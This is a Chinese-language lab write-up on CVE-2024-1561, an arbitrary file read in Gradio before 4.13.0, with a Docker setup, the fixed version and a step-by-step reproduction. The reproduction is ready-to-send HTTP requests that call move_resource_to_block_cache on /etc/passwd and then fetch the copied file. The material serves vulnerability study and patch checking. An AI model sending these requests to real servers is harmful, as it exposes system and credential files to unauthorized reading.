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74 lines
2.1 KiB
Markdown
74 lines
2.1 KiB
Markdown
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# Python Gradio 任意文件读取漏洞 CVE-2024-1561
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## 漏洞描述
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Gradio 是一个 Python 库,允许用户无需编写前端代码即可为机器学习模型快速构建 Web 界面。
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在 Gradio 4.13 版本之前,`component_server` 接口允许攻击者调用 `Component` 类的任意方法。攻击者可以利用 `move_resource_to_block_cache` 方法,将服务器上的任意文件复制到临时目录,并进一步读取其内容,从而实现任意文件读取。
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参考链接:
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- [gradio-app/gradio#6884](https://github.com/gradio-app/gradio/pull/6884)
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- https://nvd.nist.gov/vuln/detail/CVE-2024-1561
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- https://github.com/advisories/GHSA-g9cj-cfpp-4g2x
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- https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
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## 漏洞影响
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```
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Gradio < 4.13.0
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```
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## 环境搭建
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Vulhub 执行如下命令启动一个由 Gradio 4.12.0 编写的应用:
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```
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docker compose up -d
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```
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环境启动后,默认未开启身份验证。你可以通过 `http://your-ip:7860` 访问该应用。
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## 漏洞复现
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首先,访问 `/config` 接口,获取一个组件的 `id` 字段,例如 `3`。
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```
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GET /config HTTP/1.1
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Host: your-ip:7860
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```
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然后,利用 `move_resource_to_block_cache` 方法,将 `/etc/passwd` 文件写入临时目录,接口会返回临时文件路径。
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```
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POST /component_server HTTP/1.1
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Host: your-ip:7860
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Content-Type: application/json
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{
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"component_id": "3",
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"data": "/etc/passwd",
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"fn_name": "move_resource_to_block_cache",
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"session_hash": "aaaaaaaaaaa"
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}
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```
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最后,通过 `file` 接口拼接返回的路径,即可读取文件内容。
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```
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GET /file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd HTTP/1.1
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Host: your-ip:7860
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```
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如果操作成功,即可看到 `/etc/passwd` 的内容,证明漏洞存在。
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## 漏洞修复
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该漏洞在 `gradio==4.13.0` 中被修复。
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